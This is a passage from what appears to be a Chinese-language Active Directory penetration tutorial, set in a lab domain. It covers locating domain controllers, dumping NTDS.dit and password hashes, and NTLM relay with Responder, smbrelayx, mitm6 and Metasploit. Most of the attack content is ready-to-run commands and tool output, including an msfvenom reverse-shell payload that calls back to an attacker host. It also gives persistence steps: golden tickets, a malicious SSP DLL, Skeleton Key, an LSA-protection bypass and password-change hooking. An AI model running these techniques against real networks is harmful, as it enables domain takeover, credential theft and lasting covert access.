	Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/OWA2013.rootkit.org
	ldap/OWA2013.rootkit.org/ForestDnsZones.rootkit.org
	ldap/OWA2013.rootkit.org/DomainDnsZones.rootkit.org
	TERMSRV/OWA2013
	TERMSRV/OWA2013.rootkit.org
	DNS/OWA2013.rootkit.org
	GC/OWA2013.rootkit.org/rootkit.org
	RestrictedKrbHost/OWA2013.rootkit.org
	RestrictedKrbHost/OWA2013
	RPC/58650e64-9681-4c62-b26e-7914b9041f72._msdcs.rootkit.org
	HOST/OWA2013/ROOTKIT
	HOST/OWA2013.rootkit.org/ROOTKIT
	HOST/OWA2013
	HOST/OWA2013.rootkit.org
	HOST/OWA2013.rootkit.org/rootkit.org
	E3514235-4B06-11D1-AB04-00C04FC2DCD2/58650e64-9681-4c62-b26e-7914b9041f72/rootkit.org
	ldap/OWA2013/ROOTKIT
	ldap/58650e64-9681-4c62-b26e-7914b9041f72._msdcs.rootkit.org
	ldap/OWA2013.rootkit.org/ROOTKIT
	ldap/OWA2013
	ldap/OWA2013.rootkit.org
	ldap/OWA2013.rootkit.org/rootkit.org
CN=krbtgt,CN=Users,DC=rootkit,DC=org
	kadmin/changepw
CN=dbadmin,OU=運維部,DC=rootkit,DC=org
	MSSQLSvc/Srv-Web-Kit.rootkit.org:1433
	MSSQLSvc/Srv-Web-Kit.rootkit.org
CN=SRV-WEB-KIT,CN=Computers,DC=rootkit,DC=org
	TERMSRV/SRV-WEB-KIT
	TERMSRV/Srv-Web-Kit.rootkit.org
	WSMAN/Srv-Web-Kit
	WSMAN/Srv-Web-Kit.rootkit.org
	RestrictedKrbHost/SRV-WEB-KIT
	HOST/SRV-WEB-KIT
	RestrictedKrbHost/Srv-Web-Kit.rootkit.org
	HOST/Srv-Web-Kit.rootkit.org
CN=PC-JERRY-KIT,CN=Computers,DC=rootkit,DC=org
	RestrictedKrbHost/PC-JERRY-KIT
	HOST/PC-JERRY-KIT
	RestrictedKrbHost/PC-jerry-Kit.rootkit.org
	HOST/PC-jerry-Kit.rootkit.org
CN=PC-MICLE-KIT,CN=Computers,DC=rootkit,DC=org
	RestrictedKrbHost/PC-MICLE-KIT
	HOST/PC-MICLE-KIT
	RestrictedKrbHost/PC-micle-Kit.rootkit.org
	HOST/PC-micle-Kit.rootkit.org
CN=PC-TORNDO-KIT,CN=Computers,DC=rootkit,DC=org
	HOST/PC-TORNDO-KIT
	HOST/pc-torndo-Kit.rootkit.org
CN=sqladmin,OU=運維部,DC=rootkit,DC=org
	variant/golden

Existing SPN found!


3.定位域控

查詢dns解析記錄

若當前主機的dns為域內dns,可通過查詢dns解析記錄定位域控。


nslookup -type=all _ldap._tcp.dc._msdcs.rootkit.org


ad域 跨vlan_Server_62

SPN掃描

在SPN掃描結果中可以通過CN=OWA2013,OU=Domain Controllers,DC=rootkit,DC=org來進行域控的定位。

net group


net group "domain controllers" /domain


ad域 跨vlan_用户名_63

端口識別

掃描內網中同時開放389和53端口的機器。


端口:389
服務:LDAP、ILS
説明:輕型目錄訪問協議和NetMeeting Internet Locator Server共用這一端口。

端口:53
服務:Domain Name Server(DNS)
説明:53端口為DNS(Domain Name Server,域名服務器)服務器所開放,主要用於域名解析,DNS服務在NT系統中使用的最為廣泛。通過DNS服務器可以實現域名與IP地址之間的轉換,只要記住域名就可以快速訪問網站。


ad域 跨vlan_sql_64

域內關鍵組

比如在拿到域控後可以通過重點關注關鍵部門人員的機器來得到更多的信息。

ad域 跨vlan_安全_65

以上圖為例,我們可以重點關注和監控運維部的用户機器,通常他們的機器上存在大量內網網絡拓撲和網絡構架信息或者是一些重要的密碼本。

AdFind

C++實現(未開源),用於查詢域內信息

http://www.joeware.net/freetools/tools/adfind/index.htm

常用命令如下:

列出域控制器名稱:


AdFind -sc dclist


查詢當前域中在線的計算機:


AdFind -sc computers_active


查詢當前域中在線的計算機(只顯示名稱和操作系統):


AdFind -sc computers_active name operatingSystem


查詢當前域中所有計算機:


AdFind -f "objectcategory=computer"


查詢當前域中所有計算機(只顯示名稱和操作系統):


AdFind -f "objectcategory=computer" name operatingSystem


查詢域內所有用户:


AdFind -users name


查詢所有GPO:


AdFind -sc gpodmp
0X06 域滲透-獲取NTDS.dit

1.Ntds.dit

Ntds.dit是主要的AD數據庫,包括有關域用户,組和組成員身份的信息。它還包括域中所有用户的密碼哈希值。為了進一步保護密碼哈希值,使用存儲在SYSTEM註冊表配置單元中的密鑰對這些哈希值進行加密。

2.Volume Shadow Copy

Volume Shadow Copy Service 是微軟從 Windows XP 開始提供的用於創建一致性的時間點副本(也就是快照)的服務框架。

  • 用於數據備份
  • 支持Windows Server 2003 及以上操作系統
  • 系統默認在特定條件下自動創建數據備份,如補丁安裝後。在Win7系統大概每隔一週自動創建備份,該時間無法確定
  • 禁用VSS會影響系統正常使用,如 System Restore和 Windows Server Backup
hash數量:所有用户
免殺:不需要
優點:
    獲得信息全面
    簡單高效
    無需下載ntds.dit,隱蔽性高



3.通過Volume Shadow Copy獲得域控服務器NTDS.dit文件

調用Volume Shadow Copy服務會產生日誌文件,位於System下,Event ID為7036

執行ntdsutil snapshot "activate instance ntds" create quit quit會額外產生Event ID為98的日誌文件

ad域 跨vlan_安全_66

ntdsutil

域環境默認安裝

支持系統:

  • Server 2003
  • Server 2008
  • Server 2012

利用過程

  1. 查詢當前系統的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit



ad域 跨vlan_ad域 跨vlan_67

  1. 創建快照
ntdsutil snapshot "activate instance ntds" create quit quit



ad域 跨vlan_安全_68

guid為{78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}

  1. 掛載快照
ntdsutil snapshot "mount {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}" quit quit



快照掛載為C:\$SNAP_201908291617_VOLUMEC$\

ad域 跨vlan_ad域 跨vlan_69

  1. 複製ntds.dit
copy C:\$SNAP_201908291617_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

ad域 跨vlan_安全_70

  1. 卸載快照
ntdsutil snapshot  "unmount {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}" quit quit

ad域 跨vlan_用户名_71

  1. 刪除快照
ntdsutil snapshot  "delete {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}" quit quit

ad域 跨vlan_sql_72

vssadmin

域環境默認安裝

支持系統:

  • Server 2008
  • Server 2012

利用過程

  1. 查詢當前系統的快照
vssadmin list shadows
  1. 創建快照
vssadmin create shadow /for=c:

獲得Shadow Copy Volume Name為\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2

ad域 跨vlan_安全_73

  1. 複製ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
  1. 刪除快照
vssadmin delete shadows /for=c: /quiet

ad域 跨vlan_ad域 跨vlan_74

vshadow.exe

系統默認不支持,,可在Microsoft Windows Software Development Kit (SDK)中獲得該工具

利用過程

  1. 查詢當前系統的快照
vshadow.exe -q
  1. 創建快照
vshadow.exe -p -nw C:

獲得SnapshotSetID、SnapshotID以及Shadow copy device name。

  1. 複製ntds.dit
copy Shadow copy device name\windows\NTDS\ntds.dit c:\ntds.dit
  1. 刪除快照
vshadow -dx={SnapshotSetID}

or

vshadow -ds={SnapshotID}

利用vshadow執行命令

參考資料:

Vshadow: Abusing the Volume Shadow Service for Evasion, Persistence, and Active Directory Database Extraction – bohops

執行命令:



vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:



執行後,後台存在進程VSSVC.exe,同時顯示服務Volume Shadow Copy正在運行,需要手動關閉進程VSSVC.exe

注:

手動關閉進程VSSVC.exe會生成日誌7034

利用思路:

vshadow.exe包含微軟簽名,能繞過某些白名單的限制。如果作為啓動項,Autoruns的默認啓動列表不顯示

4.通過NinjaCopy獲得域控服務器NTDS.dit文件

下載地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

沒有調用Volume Shadow Copy服務,所以不會產生日誌文件7036



Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive
Invoke-NinjaCopy -Path   C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\ntds.dit"



ad域 跨vlan_Server_75

QuarksPwDump

Quarks PwDump 是一款開放源代碼的Windows用户憑據提取工具,它可以抓取windows平台下多種類型的用户憑據,包括:本地帳户、域帳户、緩存的域帳户和Bitlocker。

修復複製出來的數據庫



esentutl /p /o ntds.dit



使用QuarksPwDump直接讀取信息並將結果導出至文件



QuarksPwDump.exe --dump-hash-domain --output 0day.org.txt --ntds-file c:\ntds.dit



ad域 跨vlan_安全_76

ad域 跨vlan_Server_77

secretsdump.py

可以用impacket 套件中的 secretsdump.py 腳本去解密,速度有點忙。也可以用mimikatz解密,但是感覺還是QuarksPwDump比較快。



# secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
# secretsdump.exe -system system.hive -ntds ntds.dit LOCAL



正在上傳…重新上傳取消

0x07 域滲透-Relay

1.相關概念

NTLM hash 和 Net-NTLM hash

NTLM hash是指Windows系統下Security Account Manager中保存的用户密碼hash

該hash的生成方法:

  1. 將明文口令轉換成十六進制的格式
  2. 轉換成Unicode格式,即在每個字節之後添加0x00
  3. 對Unicode字符串作MD4加密,生成32位的十六進制數字串

在滲透測試中,通常可從Windows系統中的SAM文件和域控的NTDS.dit文件中獲得所有用户的hash,通過Mimikatz讀取lsass.exe進程能獲得已登錄用户的NTLM hash

Net-NTLM hash是指網絡環境下NTLM認證中的hash

NTLM認證採用質詢/應答(Challenge/Response)的消息交換模式,流程如下:

  1. 客户端向服務器發送一個請求,請求中包含明文的登錄用户名。服務器會提前存儲登錄用户名和對應的密碼hash
  2. 服務器接收到請求後,生成一個16位的隨機數(這個隨機數被稱為Challenge),明文發送回客户端。使用存儲的登錄用户密碼hash加密Challenge,獲得Challenge1
  3. 客户端接收到Challenge後,使用登錄用户的密碼hash對Challenge加密,獲得Challenge2(這個結果被稱為response),將response發送給服務器
  4. 服務器接收客户端加密後的response,比較Challenge1和response,如果相同,驗證成功

在以上流程中,登錄用户的密碼hash即NTLM hash,response中包含Net-NTLM hash

在NTLM認證中,NTLM響應分為NTLM v1,NTLMv2,NTLM session v2三種協議,不同協議使用不同格式的Challenge和加密算法

所以也就存在不同協議的Net-NTLM hash,即Net-NTLM v1 hash,Net-NTLM v2 hash

從攻擊角度來看

  • 可以利用NTLM哈希值進行“哈希傳遞”攻擊
  • 無法利用Net-NTLM哈希值來進行“哈希傳遞”攻擊

NTLM和SMB的關係

SMB的認證可以基於NTLM協議或者kerberos協議,前者使用了hash,後者使用了ticket,是構成SMB的PtHPtT攻擊的基礎。 NTLM 並沒有定義它所依賴的傳輸層協議。NTLM 消息的傳輸完全依賴於使用 NTLM 的上層協議來決定,可以是SMB,也可以是TCP,亦或HTTP。

跨協議的 NTLM-Relay

前面説過,NTLM 的上層協議基本可以是任何協議(如果上層是基於UDP 的協議的話,可能會不一樣),所以這引出了跨協議的 NTLM-Relay 技巧。無論 NTLM 的上層協議是什麼,其攜帶的 NTLM 的三條消息都是

由 NTLM SSP 生成的,所以上層協議在 relay 的過程中,是可以被替換掉的。

比如從 http relay 至 smb,從 smb relay 至 ldap/mssql 等等。我們只需要將一個協議中的 NTLM 消息取出來,然後原樣不動的地放入另一個協議,就完成了上層協議轉換的過程。

SMB RELAY

mitm Attacker通過不停的轉換機器角色來同時欺騙Smb server和Client兩端,可以拿着Client的憑據去訪問Smb Server中的資源,如果這個憑據的用户權限在smb server中很大,大到可以隨意操作smb server,此時憑據再一旦認證成功,隨後再立即執行一段shellcode,那Smb server基本也就淪陷了。

ad域 跨vlan_sql_78

2.利用條件

SMB版本信息

不同Windows版本所對應的Smb 版本,smb版本越高,內置的安全機制就越完善,利用難度也就越大,另外,它默認工作在tcp/udp的139和445端口上,屬上層協議[偏應用層]。

  • Smb v1 主要用於xp/2003以下的系統中
  • Smb v2.x 主要用於win vista/7/2008/2008r2
  • Smb v3.x 主要用於win 8 / 8.1 / 2012 / 2012r2 /2016

利用條件

  • 目標機器不能開啓smb簽名,否則利用無效,一般情況下,windows server會默認開啓,而windows單機系統[win 7/8/8.1/10]默認都不會開。
  • 對一些打了ms08-068[KB957097]補丁的老系統[比如windows xp/2003以下的系統]利用也是無效的。

檢查是否開啓smb簽名



nmap -Pn -sT -p 445 --open --script smb-security-mode,smb-os-discovery 192.168.0.106,192.168.0.108



ad域 跨vlan_ad域 跨vlan_79

3.利用方式

Inveigh

powershell編寫,可供參考的地址:


Import-Module .\Inveigh.psd1
Invoke-Inveigh -consoleoutput Y



ad域 跨vlan_sql_80

再使用另外一個主機去連接該服務器。

ad域 跨vlan_用户名_81

原主機上就可以捕獲到net-ntlm v2 hash。

ad域 跨vlan_ad域 跨vlan_82

拿到net-ntlm v2 的hash以後,可以用hashcat進行爆破

Hashcat參數如下:



hashcat -m 5600 net-ntlm hash  /tmp/password.list -o found.txt --force



若已獲取權限的主機上存在web服務,我們可以在網站裏插一個帶有unc路徑的圖片,它請求資源走的是smb[file://]。



<img src="\\192.168.3.68\test.jpg"



當有主機訪問該主頁是,我們也能在Inveigh捕獲到該主機的net-ntlm v2 hash。

smb_relay

在kali 192.168.22.128利用windows/smb/smb_relay模塊進行攻擊。



msf5 > use windows/smb/smb_relay
msf5 exploit(windows/smb/smb_relay) > set smbhost 192.168.22.162
smbhost => 192.168.22.162
msf5 exploit(windows/smb/smb_relay) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/smb_relay) > set lhost 192.168.22.128
lhost => 192.168.22.128
msf5 exploit(windows/smb/smb_relay) > set lport 2333
lport => 2333
msf5 exploit(windows/smb/smb_relay) > show options 

Module options (exploit/windows/smb/smb_relay):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SHARE    ADMIN$           yes       The share to connect to
   SMBHOST  192.168.22.162   no        The target SMB server (leave empty for originating system)
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  445              yes       The local port to listen on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.22.128   yes       The listen address (an interface may be specified)
   LPORT     2333             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



在192.168.22.130上執行



net use \\192.168.22.128\c$ /user:"administrator" "1qaz@wsx"



在kali上就可以看到回顯了

ad域 跨vlan_sql_83

回顯裏會刪除exe文件,所以建議在配置時做好進程遷移



set AutoRunScript post/windows/manage/migrate



smbrelayx.py

在工具主機kali 192.168.22.128上執行



python smbrelayx.py -h 192.168.22.162



在內網主機192.168.22.130上執行



net use \\192.168.22.128\c$ /user:"administrator" "1qaz@wsx"



ad域 跨vlan_安全_84

此時在主機kali 192.168.22.128上就能捕獲到如下內容。

ad域 跨vlan_安全_85

當目標內網有機器192.168.22.130訪問到我們的惡意smb服務器192.168.22.128後,便會抓取對應機器的net-ntlm v2 hash,之後再通過smbrelayx.py腳本拿着這段抓到的hash去嘗試重放192.168.22.162這台目標機器。一旦重放成功,便會把162這台機器的本地用户及密碼hash全部解密導出來。

smbrelayx.py可以執行命令和上傳木馬文件。



python smbrelayx.py -h 192.168.22.162 -c whoami



ad域 跨vlan_ad域 跨vlan_86

結合msf上傳exe木馬。生成一個exe木馬。



msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.22.128 LPORT=4444 -e x86/shikata_ga_nai -f exe -o test.exe



啓用msfconsoleexploit/multi/handler



msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.22.128
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 192.168.138.136:4444



執行



python smbrelayx.py -h 192.168.22.162 -e test.exe



ad域 跨vlan_ad域 跨vlan_87

Responder

自從MS08-068漏洞修復之後無法再將Net-NTLM哈希值傳回到發起請求的機器上,除非進行跨協議轉發,但是該哈希值仍然可以通過中繼轉發給另外一台機器。利用Responder結合其他中繼工具可以進行自動化的攔截並且對哈希值進行中繼轉發。唯一的一個不足之處就是,在這之前需要在進行轉發操作的機器上禁用SMB簽名。

在開啓了 SMB Signing 的情況下,在 SMB 協議利用 NTLM SSP 進行了身份驗證後,後續的所有數據包,都會利用 NTLM SSP 生成的這個 session key 進行簽名。SMB 服務端收到後續的數據包後,也會檢查數據包的簽名,如果簽名不對,則拒收。 NTLM SSP 在生成 session key 的時候,會需要用到賬號密碼的原始 LM HASH 或 NT HASH。而 relay 型的攻擊,都是站在一箇中間人的位置,我們是不可能知道原始的 LM HASH 或 NT HASH 的(如果知道了也就不需要 Relay 這種攻擊手法了)。所以,我們是無法計算出來這個 session key 的,自然也就無法對數據包進行簽名。

Responder通過設置幾個模擬的惡意守護進程(如SQL服務器,FTP,HTTP和SMB服務器等)來直接提示憑據或模擬質詢 – 響應驗證過程並捕獲客户端發送的必要 hash。



python Responder.py -I eth0 -v



ad域 跨vlan_安全_88

對於SMB協議,客户端在連接服務端時,默認先使用本機的用户名和密碼hash嘗試登錄。所以在192.168.22.130上執行dir \\192.168.22.128\c$

ad域 跨vlan_安全_89

在192.168.22.128上就可以得到NTLMv2 Hash。

ad域 跨vlan_sql_90

responder只有一個回顯hash功能,可以結合ntlmrelayx.pyEmpire框架進行進一步利用。再借助DeathStar,可以很輕易獲取windows的域管理權限。

3.NTLM-Relay

NTLM Relaying與Kerberos委派組合

實現方法

在目標計算機上創建一個新的計算機賬號B,併為本地計算機賬號A設置基於資源的約束委派給新建賬號B,使得B可以模擬用户訪問A的資源,便能通過S4U攻擊(首先使用S4U2Self獲取任意用户到新建計算機賬號B的服務票據,再使用S4U2Proxy獲取該用户到目標計算機A的服務票據),使用該計算機賬號為域內任意用户請求訪問該計算機任意服務的TGS服務票據,從而獲得該計算機的SYSTEM權限。

ad域 跨vlan_用户名_91

利用過程

使用mitm6選擇目標計算機並回復DHCPv6請求,為其分配地址,回覆WPAD配置文件地址



mitm6 -hw ws02 -d lab.local --ignore-nofqnd



ad域 跨vlan_ad域 跨vlan_92

設置目標LDAP服務器地址並創建WPAD配置文件,使用“–delegate-access”為目標創建計算機賬號並配置基於資源的約束委派:

啓動ntlmrelayx,指定域控制器,委派攻擊,禁用SMB服務器並設置將生成並提供給目標的惡意WPAD文件的名稱。



ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad



ad域 跨vlan_ad域 跨vlan_93

當目標計算機重啓或重新進行網絡配置(如重新插入網線)時, 將會向DHCPv6發送請求獲取IPv6配置,我們已經使用mitm6接管DNS,此時目標計算機便會訪問kali獲取WPAD配置文件,並將kali設置為為代理服務器 。

ad域 跨vlan_sql_94

然後當目標計算機通過kali代理服務器訪問網絡時,kali將會向目標計算機發送代理的認證請求,並中繼NTLM認證到LDAP服務器上,完成相關操作。

ad域 跨vlan_ad域 跨vlan_95

上圖中已經完成了計算機賬號的創建,併為其設置了基於資源的約束委派。接下來,便可通過impacket中的getST腳本,使用新創建的計算機賬號為域管理員(或具有本地管理員權限的域用户)請求訪問到該計算機的CIFS服務票據:

ad域 跨vlan_ad域 跨vlan_96

導入



export KRB5CCNAME=lkys.ccache



ad域 跨vlan_用户名_97

然後就可以通過psexec.py遠程執行命令了。



psexec.py -k ws02.lab.local -debug -no-pass



ad域 跨vlan_安全_98

嘗試復現上述過程,搗鼓了一天失敗了。報的錯是:



[-] Connection against target ldaps://OWA2010SP3.0day.org FAILED: invalid server address
[-] Exception in HTTP request handler: invalid server address
[-] Exception in HTTP request handler: [Errno 104] Connecti



ad域 跨vlan_sql_99

0x08 域滲透-域維權

1.黃金票據

簡介

Golden Ticket(下面稱為金票)是通過偽造的TGT(TicketGranting Ticket),因為只要有了高權限的TGT,那麼就可以發送給TGS換取任意服務的ST。可以説有了金票就有了域內的最高權限。

製作金票的條件:

1、域名稱

2、域的SID值

3、域的KRBTGT賬户密碼HASH

4、偽造用户名,可以是任意的

利用過程

金票的生成需要用到krbtgt的密碼HASH值,可以通過mimikatz中的



lsadump::dcsync /OWA2010SP3.0day.org /user:krbtgt



命令獲取krbtgt的值。

ad域 跨vlan_sql_100

得到KRBTGT HASH之後使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即為偽造成功的TGT。

參數説明:

/admin:偽造的用户名

/domain:域名稱

/sid:SID值,注意是去掉最後一個-後面的值

/krbtgt:krbtgt的HASH值

/ticket:生成的票據名稱



kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi



ad域 跨vlan_ad域 跨vlan_101

通過mimikatz中的kerberos::ptt功能(Pass The Ticket)將golden.kiribi導入內存中。



kerberos::purge
kerberos::ppt golden.kiribi
kerberos::list



ad域 跨vlan_Server_102

此時就可以通過dir成功訪問域控的共享文件夾。



dir \\OWA2010SP3.0day.org\c$



ad域 跨vlan_用户名_103

2.SSP密碼記錄

簡介

**SSP:**Security Support Provider,直譯為安全支持提供者,又名Security Package.

簡單的理解為SSP就是一個DLL,用來實現身份認證。

**SSPI:**Security Support Provider Interface,直譯為安全支持提供程序接口,是Windows系統在執行認證操作所使用的API。

簡單的理解為SSPI是SSP的API接口

**LSA:**Local Security Authority,用於身份認證,常見進程為lsass.exe

特別的地方在於LSA是可擴展的,在系統啓動的時候SSP會被加載到進程lsass.exe中.

這相當於我們可以自定義一個dll,在系統啓動的時候被加載到進程lsass.exe。

ad域 跨vlan_ad域 跨vlan_104

如圖,這是正常的SSPI結構圖,Client APP是我們自定義的dll,通過Secur32.dll可以調用 “credential capture API“來獲取LSA的信息

ad域 跨vlan_Server_105

上圖展示了攻擊思路,既然可以自定義dll,那麼我們就可以定製dll的功能,通過Named PipeShared Memory直接獲取lsass.exe中的明文密碼,並且能夠在其更改密碼時立即獲得新密碼。

mimilib SSP

mimikatz早已支持這個功能,而這個文件就是我們使用的時候常常忽略的mimilib.dll

ad域 跨vlan_用户名_106

利用過程

方法一

  1. 添加SSP 將mimilib.dll複製到域控c:\windows\system32
  2. 設置SSP 修改域控註冊表位置:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\

ad域 跨vlan_Server_107

3.重啓系統

域控重啓後在c:\windows\system32可看到新生成的文件kiwissp.log

ad域 跨vlan_用户名_108

方法二:使用API AddSecurityPackage

(1)複製文件

同方法1

(2)修改註冊表

同方法1

(3)調用AddSecurityPackage

測試代碼如下:

#define SECURITY_WIN32
   
   #include <stdio.h>
   #include <Windows.h>
   #include <Security.h>
   #pragma comment(lib,"Secur32.lib")
   
   
   int main(int argc, char **argv) {
   	SECURITY_PACKAGE_OPTIONS option;
   	option.Size = sizeof(option);
   	option.Flags = 0;
   	option.Type = SECPKG_OPTIONS_TYPE_LSA;
   	option.SignatureSize = 0;
   	option.Signature = NULL;
   	SECURITY_STATUS SEC_ENTRYnRet = AddSecurityPackageA("mimilib", &option);
   	printf("AddSecurityPackage return with 0x%X\n", SEC_ENTRYnRet);
}



添加成功,如果此時輸入了新的憑據(例如runas,或者用户鎖屏後重新登錄),將會生成文件kiwissp.log

方法3:使用RPC控制lsass加載SSP

測試如下圖

ad域 跨vlan_用户名_109

添加成功

優點:

  • 不需要寫註冊表
  • 不調用API AddSecurityPackage
  • 不需要對lsass進程的內存進行寫操作
  • lasss進程中不存在加載的dll

Memory Updating of SSPs

mimikatz同時還支持通過內存更新ssp,這樣就不需要重啓再獲取賬户信息

需要使用mimikatz.exe,命令如下:



privilege::debug
misc::memssp



通過修改lsass進程的內存,實現從lsass進程中提取憑據

ad域 跨vlan_sql_110

命令執行後,如果此時輸入了新的憑據(例如runas,或者用户鎖屏後重新登錄),將會在c:\windows\system32下生成文件mimilsa.log

ad域 跨vlan_Server_111

3.Skeleton Key

Skeleton Key是一種不需要域控重啓即能生效的維持域控權限方法。

簡介

Skeleton Key被安裝在64位的域控服務器上 支持Windows Server2003—Windows Server2012 R2 能夠讓所有域用户使用同一個萬能密碼進行登錄 現有的所有域用户使用原密碼仍能繼續登錄 重啓後失效 支持 Skeleton Key

利用過程

在域控安裝Skeleton Key

mimikatz命令:



privilege::debug
misc::skeleton



ad域 跨vlan_ad域 跨vlan_112

域內主機使用Skeleton Key登錄域控

mimikatz的默認Skeleton Key設置為mimikatz



net use \\OWA2010SP3.0day.org mimikatz /user:administrator@0day.org
dir \\OWA2010SP3.0day.org\c$



Skeleton Key只是給所有賬户添加了一個萬能密碼,無法修改賬户的權限

ad域 跨vlan_安全_113

繞過LSA Protection

配置LSA Protection

註冊表位置: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

新建-DWORD值,名稱為RunAsPPL,數值為00000001

重啓系統

使用mimidrv.sys繞過

mimikatz命令:



privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton



繞過cmd、regedit、taskmgr



privilege::debug
misc::cmd
misc::regedit
misc::taskmgr



Hook PasswordChangeNotify

簡介

Hook PasswordChangeNotify這個概念最早是在2013年9月15日由clymb3r提出,通過Hook PasswordChangeNotify攔截修改的帳户密碼。

需要了解的相關背景知識如下:

  1. 在修改域控密碼時會進行如下同步操作: a. 當修改域控密碼時,LSA首先調用PasswordFileter來判斷新密碼是否符合密碼複雜度要求
    b. 如果符合,LSA接着調用PasswordChangeNotify在系統上同步更新密碼
  2. 函數PasswordChangeNotify存在於rassfm.dll
  3. rassfm.dll可理解為Remote Access Subauthentication dll,只存在於在Server系統下,xp、win7、win8等均不存在

Hook PasswordChangeNotify有如下優點:

  1. 不需要重啓
  2. 不需要修改註冊表
  3. 甚至不需要在系統放置dll

利用過程

實現Hook PasswordChangeNotify共包含兩部分:Hook dll和dll注入。

GitHub - 3gstudent/Hook-PasswordChangeNotify: Stealing passwords every time they change

編譯工程,生成HookPasswordChange.dll

MFC設置為在靜態庫中使用MFC

ad域 跨vlan_sql_114

上傳HookPasswordChangeNotify.ps1和HookPasswordChange.dll到域控主機

管理員權限執行:



PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1



ad域 跨vlan_安全_115

手動修改域控密碼後 在C:\Windows\Temp下可以找到passwords.txt,其中記錄了新修改的密碼。

ad域 跨vlan_ad域 跨vlan_116

自定義dll代碼實現更多高級功能,如自動上傳新密碼。

以下鏈接中的代碼可作為參考,其中實現了將獲取的新密碼上傳至Http服務器

Stealing passwords every time they change Carnal0wnage - Blog Carnal0wnage Blog

4.DSRM同步指定域用户

DSRM密碼同步

Windows Server 2008 需要安裝KB961320補丁才支持DSRM密碼同步,Windows Server 2003不支持DSRM密碼同步。

利用如下命令:



C:\Users\Administrator>ntdsutil
ntdsutil: set DSRM password
Reset DSRM Administrator Password: SYNC FROM DOMAIN ACCOUNT test
Password has been synchronized successfully.



ad域 跨vlan_sql_117

同步之後使用mimikatz查看test用户和SAM中Administrator的NTLM值。如下圖所示,可以看到兩個賬户的NTLM值相同,説明確實同步成功了。



privilege::debug
lsadump::lsa /name:test /inject



ad域 跨vlan_Server_118



privilege::debug
token::elevate
lsadump::sam



ad域 跨vlan_用户名_119

修改註冊表允許DSRM賬户遠程訪問

修改註冊表 HKLM\System\CurrentControlSet\Control\Lsa 路徑下的 DSRMAdminLogonBehavior 的值為2。

PS:系統默認不存在DSRMAdminLogonBehavior,手動添加。

DSRM賬户是域控的本地管理員賬户,並非域的管理員帳户。所以DSRM密碼同步之後並不會影響域的管理員帳户。另外,在下一次進行DSRM密碼同步之前,NTLM的值一直有效。所以為了保證權限的持久化,尤其在跨國域或上百上千個域的大型內網中,最好在事件查看器的安全事件中篩選事件ID為4794的事件日誌,來判斷域管是否經常進行DSRM密碼同步操作。

5.SID history

SID歷史記錄是支持遷移方案的屬性。每個用户帳户都有一個關聯的安全標識符(SID),用於跟蹤安全主體和連接到資源時的帳户及訪問權限。SID歷史記錄允許另一個帳户的訪問被有效的克隆到另一個帳户。這是非常有用的,其目的是確保用户在從一個域移動(遷移)到另一個域時能保留原有的訪問權限。由於在創建新帳户時用户的SID會發生更改,舊的SID需要映射到新的帳户。當域A中的用户遷移到域B時,將在DomainB中創建新的用户帳户,並將DomainA用户的SID添加到DomainB的用户帳户的SID歷史記錄屬性中。這樣就可以確保DomainB用户仍可以訪問DomainA中的資源。

Mimikatz支持SID歷史注入到任何用户帳户(需要域管理員或等效的權限)。在這種情況下,攻擊者創建用户帳户“test”,並將該域的默認管理員帳户“Administrator”(RID 500)添加到帳户的SID歷史記錄屬性中。



privilege::debug
sid::add /new:[DomainAdmin's SID or NAME] /sam:[CommonUserNAME]



當test登錄時,將對與該帳户相關聯的SID進行評估,並根據這些SID來確定訪問權限。由於test帳户與Administrator帳户(RID 500)相關聯,因此,test帳户具有Administrator帳户的所有訪問權限,包括域管理員權限。

6.GPO[組策略]後門

利用SYSVOL還原組策略中保存的密碼

使用Group Policy Preferences配置組策略批量修改用户本地管理員密碼。

開始-管理工具-組策略管理

選擇域,創建GP0

ad域 跨vlan_Server_120

設置名稱為test

test-設置-右鍵-編輯-用户配置-首選項-控制面板設置-本地用户和組

ad域 跨vlan_sql_121

